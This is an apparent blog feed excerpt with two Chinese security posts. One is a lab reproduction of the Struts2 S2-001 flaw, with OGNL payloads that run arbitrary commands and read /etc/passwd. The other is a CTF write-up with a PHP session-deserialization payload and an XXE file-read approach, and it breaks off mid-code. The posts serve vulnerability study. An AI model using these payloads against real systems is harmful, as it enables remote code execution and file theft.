<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="流量分析" scheme="https://www.codemonster.cn/tags/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/"/>
</entry>
<entry>
<title>Struts2Vuls之S2-001漏洞复现与简要分析</title>
<link href="https://www.codemonster.cn/2018/03/28/2018-struts2-001/"/>
<id>https://www.codemonster.cn/2018/03/28/2018-struts2-001/</id>
<published>2018-03-28T14:34:58.000Z</published>
<updated>2018-07-28T06:19:53.000Z</updated>
<content type="html"><![CDATA[<p>最近经历了几次面试,深觉在企业中,java安全是十分受重视的,于是打算对java安全进行深入学习,本系列是对Struts2的漏洞进行分析与复现,写的不好欢迎大家指出问题,本文所有源码与poc&exp:<a href="https://github.com/xishir/Struts2Vuls/tree/master/S2-001" target="_blank" rel="noopener">https://github.com/xishir/Struts2Vuls/tree/master/S2-001</a><br><a id="more"></a></p>
<h1 id="漏洞摘要"><a href="#漏洞摘要" class="headerlink" title="漏洞摘要"></a>漏洞摘要</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">官方链接:https://cwiki.apache.org/confluence/display/WW/S2-001</span><br><span class="line">官方概述:Remote code exploit on form validation error</span><br><span class="line">影响版本:Struts 2.0.0 - Struts 2.0.8</span><br><span class="line">修复摘要:数据 re-display 时禁止执行 OGNL 表达式</span><br></pre></td></tr></table></figure>
<h1 id="简要原理"><a href="#简要原理" class="headerlink" title="简要原理"></a>简要原理</h1><p>在默认配置下,如果用户所提交的表单出现<code>验证错误</code>,后端会对用户的输入进行<code>解析处理</code>,然后返回并<code>显示处理结果</code>。 举个例子,当你提交的登录表单为<code>username=xishir&password=%{1+1}</code>时,后端验证登录失败后会返回登录界面并显示你的输入,这时password字段中的OGNL表达式已经被解析处理过了,所以会显示<code>%{1+1}</code>的解析结果<code>2</code>,从而可以构造payload进行RCE。</p>
<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><h3 id="下载struts-2-0-1"><a href="#下载struts-2-0-1" class="headerlink" title="下载struts-2.0.1"></a>下载struts-2.0.1</h3><p>地址:<a href="http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip" target="_blank" rel="noopener">http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip</a></p>
<h3 id="创建web工程"><a href="#创建web工程" class="headerlink" title="创建web工程"></a>创建web工程</h3><p>目录结构<br><img src="/img/s2/s2-001-1.png" alt=""><br>这里我是用的是MyEclipse,创建一个web工程,然后将struts-2.0.1中的几个jar包导入并新建如下几个文件<br>web.xml<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">web-app</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xmlns</span>=<span class="string">"http://xmlns.jcp.org/xml/ns/javaee"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"</span> <span class="attr">id</span>=<span class="string">"WebApp_ID"</span> <span class="attr">version</span>=<span class="string">"3.1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">display-name</span>></span>S2-001 Example<span class="tag"></<span class="name">display-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>org.apache.struts2.dispatcher.FilterDispatcher<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/*<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">welcome-file-list</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">welcome-file</span>></span>index.jsp<span class="tag"></<span class="name">welcome-file</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">welcome-file-list</span>></span></span><br><span class="line"><span class="tag"></<span class="name">web-app</span>></span></span><br></pre></td></tr></table></figure></p>
<p>index.jsp<br><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">%@</span> <span class="attr">page</span> <span class="attr">language</span>=<span class="string">"java"</span> <span class="attr">contentType</span>=<span class="string">"text/html; charset=UTF-8"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">pageEncoding</span>=<span class="string">"UTF-8"</span>%></span></span><br><span class="line"><span class="tag"><<span class="name">%@</span> <span class="attr">taglib</span> <span class="attr">prefix</span>=<span class="string">"s"</span> <span class="attr">uri</span>=<span class="string">"/struts-tags"</span> %></span></span><br><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">html</span> <span class="meta-keyword">PUBLIC</span> <span class="meta-string">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span class="meta-string">"http://www.w3.org/TR/html4/loose.dtd"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"Content-Type"</span> <span class="attr">content</span>=<span class="string">"text/html; charset=UTF-8"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">title</span>></span>S2-001<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"><span class="tag"><<span class="name">h2</span>></span>S2-001 Demo<span class="tag"></<span class="name">h2</span>></span></span><br><span class="line"><span class="tag"><<span class="name">p</span>></span>link: <span class="tag"><<span class="name">a</span> <span class="attr">href</span>=<span class="string">"https://cwiki.apache.org/confluence/display/WW/S2-001"</span>></span>https://cwiki.apache.org/confluence/display/WW/S2-001<span class="tag"></<span class="name">a</span>></span><span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"><<span class="name">s:form</span> <span class="attr">action</span>=<span class="string">"login"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">s:textfield</span> <span class="attr">name</span>=<span class="string">"username"</span> <span class="attr">label</span>=<span class="string">"username"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">s:textfield</span> <span class="attr">name</span>=<span class="string">"password"</span> <span class="attr">label</span>=<span class="string">"password"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">s:submit</span>></span><span class="tag"></<span class="name">s:submit</span>></span></span><br><span class="line"><span class="tag"></<span class="name">s:form</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure></p>
<p>welcome.jsp<br><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">%@</span> <span class="attr">page</span> <span class="attr">language</span>=<span class="string">"java"</span> <span class="attr">contentType</span>=<span class="string">"text/html; charset=UTF-8"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">pageEncoding</span>=<span class="string">"UTF-8"</span>%></span></span><br><span class="line"><span class="tag"><<span class="name">%@</span> <span class="attr">taglib</span> <span class="attr">prefix</span>=<span class="string">"s"</span> <span class="attr">uri</span>=<span class="string">"/struts-tags"</span> %></span></span><br><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">html</span> <span class="meta-keyword">PUBLIC</span> <span class="meta-string">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span class="meta-string">"http://www.w3.org/TR/html4/loose.dtd"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"Content-Type"</span> <span class="attr">content</span>=<span class="string">"text/html; charset=UTF-8"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">title</span>></span>S2-001<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"><span class="tag"><<span class="name">p</span>></span>Hello <span class="tag"><<span class="name">s:property</span> <span class="attr">value</span>=<span class="string">"username"</span>></span><span class="tag"></<span class="name">s:property</span>></span><span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure></p>
<p>struts.xml<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8" ?></span></span><br><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">struts</span> <span class="meta-keyword">PUBLIC</span></span></span><br><span class="line"><span class="meta"> <span class="meta-string">"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"</span></span></span><br><span class="line"><span class="meta"> <span class="meta-string">"http://struts.apache.org/dtds/struts-2.0.dtd"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">struts</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">package</span> <span class="attr">name</span>=<span class="string">"S2-001"</span> <span class="attr">extends</span>=<span class="string">"struts-default"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">name</span>=<span class="string">"login"</span> <span class="attr">class</span>=<span class="string">"com.demo.action.LoginAction"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">name</span>=<span class="string">"success"</span>></span>welcome.jsp<span class="tag"></<span class="name">result</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">name</span>=<span class="string">"error"</span>></span>index.jsp<span class="tag"></<span class="name">result</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">action</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">package</span>></span></span><br><span class="line"><span class="tag"></<span class="name">struts</span>></span></span><br></pre></td></tr></table></figure></p>
<p>com.demo.action.LoginAction.java<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.demo.action;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.opensymphony.xwork2.ActionSupport;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">LoginAction</span> <span class="keyword">extends</span> <span class="title">ActionSupport</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> String username = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">private</span> String password = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getUsername</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.username;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getPassword</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setUsername</span><span class="params">(String username)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.username = username;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setPassword</span><span class="params">(String password)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.password = password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">execute</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">if</span> ((<span class="keyword">this</span>.username.isEmpty()) || (<span class="keyword">this</span>.password.isEmpty())) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ((<span class="keyword">this</span>.username.equalsIgnoreCase(<span class="string">"admin"</span>))</span><br><span class="line"> && (<span class="keyword">this</span>.password.equals(<span class="string">"admin"</span>))) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"success"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><h3 id="POC"><a href="#POC" class="headerlink" title="POC:"></a>POC:</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">username=xishir&password=%{1+1}</span><br></pre></td></tr></table></figure>
<p><img src="/img/s2/s2-001-2.png" alt=""></p>
<h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP:"></a>EXP:</h3><p>获取tomcat执行路径:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}</span><br></pre></td></tr></table></figure></p>
<p>获取Web路径:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}</span><br></pre></td></tr></table></figure></p>
<p>执行任意命令:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}</span><br></pre></td></tr></table></figure><br>带参数的命令:<code>new java.lang.String[]{"cat","/etc/passwd"}</code><br><img src="/img/s2/s2-001-3.png" alt=""></p>
<h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><p><a href="https://cwiki.apache.org/confluence/display/WW/S2-001" target="_blank" rel="noopener">https://cwiki.apache.org/confluence/display/WW/S2-001</a><br><a href="http://rickgray.me/review-struts2-remote-command-execution-vulnerabilities.html" target="_blank" rel="noopener">http://rickgray.me/review-struts2-remote-command-execution-vulnerabilities.html</a><br><a href="https://github.com/vulhub/vulhub/tree/master/struts2/s2-001" target="_blank" rel="noopener">https://github.com/vulhub/vulhub/tree/master/struts2/s2-001</a><br><a href="https://chybeta.github.io/2018/02/06/【struts2-命令-代码执行漏洞分析系列】S2-001/" target="_blank" rel="noopener">https://chybeta.github.io/2018/02/06/【struts2-命令-代码执行漏洞分析系列】S2-001/</a></p>
]]></content>
<summary type="html">
<p>最近经历了几次面试,深觉在企业中,java安全是十分受重视的,于是打算对java安全进行深入学习,本系列是对Struts2的漏洞进行分析与复现,写的不好欢迎大家指出问题,本文所有源码与poc&amp;exp:<a href="https://github.com/xishir/Struts2Vuls/tree/master/S2-001" target="_blank" rel="noopener">https://github.com/xishir/Struts2Vuls/tree/master/S2-001</a><br>
</summary>
<category term="RCE" scheme="https://www.codemonster.cn/tags/RCE/"/>
<category term="Struts2" scheme="https://www.codemonster.cn/tags/Struts2/"/>
</entry>
<entry>
<title>2018 MOCTF 新春欢乐赛 部分WriteUp+感想</title>
<link href="https://www.codemonster.cn/2018/02/13/2018-moctf-happy-writeup/"/>
<id>https://www.codemonster.cn/2018/02/13/2018-moctf-happy-writeup/</id>
<published>2018-02-13T14:11:58.000Z</published>
<updated>2018-07-28T06:19:47.000Z</updated>
<content type="html"><![CDATA[<p>从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了)<br><a id="more"></a></p>
<h1 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h1><h3 id="签到-20"><a href="#签到-20" class="headerlink" title="签到 20"></a>签到 20</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">支付宝今年集齐五福能一起平分多少钱?</span><br><span class="line">flag格式:moctf{数字}</span><br></pre></td></tr></table></figure>
<p>flag:moctf{500000000}</p>
<h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h3 id="空word-100"><a href="#空word-100" class="headerlink" title="空word 100"></a>空word 100</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">真的什么都没有吗</span><br></pre></td></tr></table></figure>
<p>文件是个word<br>打开看发现一些奇怪的换行和tab<br><img src="/img/2018moctf1.png" alt=""><br>很容易想到是摩斯密码,替换后得到<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -..</span><br></pre></td></tr></table></figure><br>解摩斯密码,然后hex转字符串得到flag</p>
<h1 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h1><h3 id="登录一哈-300"><a href="#登录一哈-300" class="headerlink" title="登录一哈 300"></a>登录一哈 300</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">登录一下,你就知道。</span><br><span class="line">http://111.230.32.124:6001/</span><br></pre></td></tr></table></figure>
<p>源码放到git里泄露给大家了<br>index.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> ini_set(<span class="string">'session.serialize_handler'</span>, <span class="string">'php_binary'</span>);</span><br><span class="line"> session_start();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'username'</span>]) && <span class="keyword">isset</span>($_POST[<span class="string">'password'</span>])){</span><br><span class="line"> $username = $_POST[<span class="string">'username'</span>];</span><br><span class="line"> $password = $_POST[<span class="string">'password'</span>];</span><br><span class="line"> $_SESSION[<span class="string">"username"</span>] = $username;</span><br><span class="line"> header(<span class="string">"Location:./index.php"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(<span class="keyword">isset</span>($_SESSION[<span class="string">"username"</span>])){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<h1>hello '</span>.$_SESSION[<span class="string">"username"</span>].<span class="string">'</h1>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> ...</span><br></pre></td></tr></table></figure><br>flag.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">session_start();</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MOCTF</span></span>{</span><br><span class="line"> <span class="keyword">public</span> $flag;</span><br><span class="line"> <span class="keyword">public</span> $name;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->flag = <span class="string">"moctf{xxxxxxxxxxxxxxxx}"</span>;</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->flag == <span class="keyword">$this</span>->name){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Wow,this is flag:"</span>.<span class="keyword">$this</span>->flag;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>看源码就可以知道这道题考查的是session反序列漏洞了<br>在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>, <span class="string">'php_binary'</span>);</span><br></pre></td></tr></table></figure><br>参考<a href="https://blog.spoock.com/2016/10/16/php-serialize-problem/" target="_blank" rel="noopener">https://blog.spoock.com/2016/10/16/php-serialize-problem/</a><br>index.php中的<code>$_session['username']</code>可控,我们就能构造payload到session,<br>然后访问flag.php页面就能触发反序列化执行<code>__destruct</code>了,<br>这里还有个考点是<code>$this->flag == $this->name</code>,通过引用的方式绕过。<br>构造payload<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$a = <span class="keyword">new</span> MOCTF();</span><br><span class="line">$a->name = &$a->flag;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'|'</span>.serialize($a);</span><br></pre></td></tr></table></figure><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}</span><br></pre></td></tr></table></figure><br>提交到index.php的username,然后访问flag.php就得到flag了</p>
<h3 id="字符串检查-400"><a href="#字符串检查-400" class="headerlink" title="字符串检查 400"></a>字符串检查 400</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">来检查一下你的字符串是否格式良好吧!</span><br><span class="line">http://111.230.32.124:6002/</span><br></pre></td></tr></table></figure>
<p>原意是xxe漏洞读取任意文件<br>后来知道师傅们卡了很久貌似是因为<code>client-ip</code>的原因,我的锅<br>题目打开是个json字符串验证的页面,POST包的<code>Content-Type</code>字段是<code>application/json</code>,<br>POST后接口会返回json格式正确或错误的结果<br>改成<code>application/xml</code>,接口提示只允许本机访问,于是构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">client-ip:localhost</span><br></pre></td></tr></table></figure><br>然后就是xxe盲打漏洞了,参考<a href="https://security.tencent.com/index.php/blog/msg/69" target="_blank" rel="noopener">https://security.tencent.com/index.php/blog/msg/69</a><br>这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试<br>最后flag在/etc/passwd</p>
<h3 id="简单审计-400"><a href="#简单审计-400" class="headerlink" title="简单审计 400"></a>简单审计 400</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">代码都给你了,还说不会做?</span><br><span class="line">http://120.78.57.208:6005/</span><br></pre></td></tr></table></figure>
<p>index.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'config.php'</span>);</span><br><span class="line">header(<span class="string">"Content-type:text/html;charset=utf-8"</span>);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_rand_code</span><span class="params">($l = <span class="number">6</span>)</span> </span>{</span><br><span class="line"> $result = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">while</span>($l--) {</span><br><span class="line"> $result .= chr(rand(ord(<span class="string">'a'</span>), ord(<span class="string">'z'</span>)));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test_rand_code</span><span class="params">()</span> </span>{</span><br><span class="line"> $ip=$_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> $code=get_rand_code();</span><br><span class="line"> $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</span><br><span class="line"> @socket_connect($socket, $ip, <span class="number">8888</span>);</span><br><span class="line"> @socket_write($socket, $code.PHP_EOL);</span><br><span class="line"> @socket_close($socket);</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'test ok!'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">upload</span><span class="params">($filename, $content,$savepath)</span> </span>{</span><br><span class="line"> $AllowedExt = <span class="keyword">array</span>(<span class="string">'bmp'</span>,<span class="string">'gif'</span>,<span class="string">'jpeg'</span>,<span class="string">'jpg'</span>,<span class="string">'png'</span>);</span><br><span class="line"> <span class="keyword">if</span>(!is_array($filename)) {</span><br><span class="line"> $filename = explode(<span class="string">'.'</span>, $filename);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(!in_array(strtolower($filename[count($filename)<span 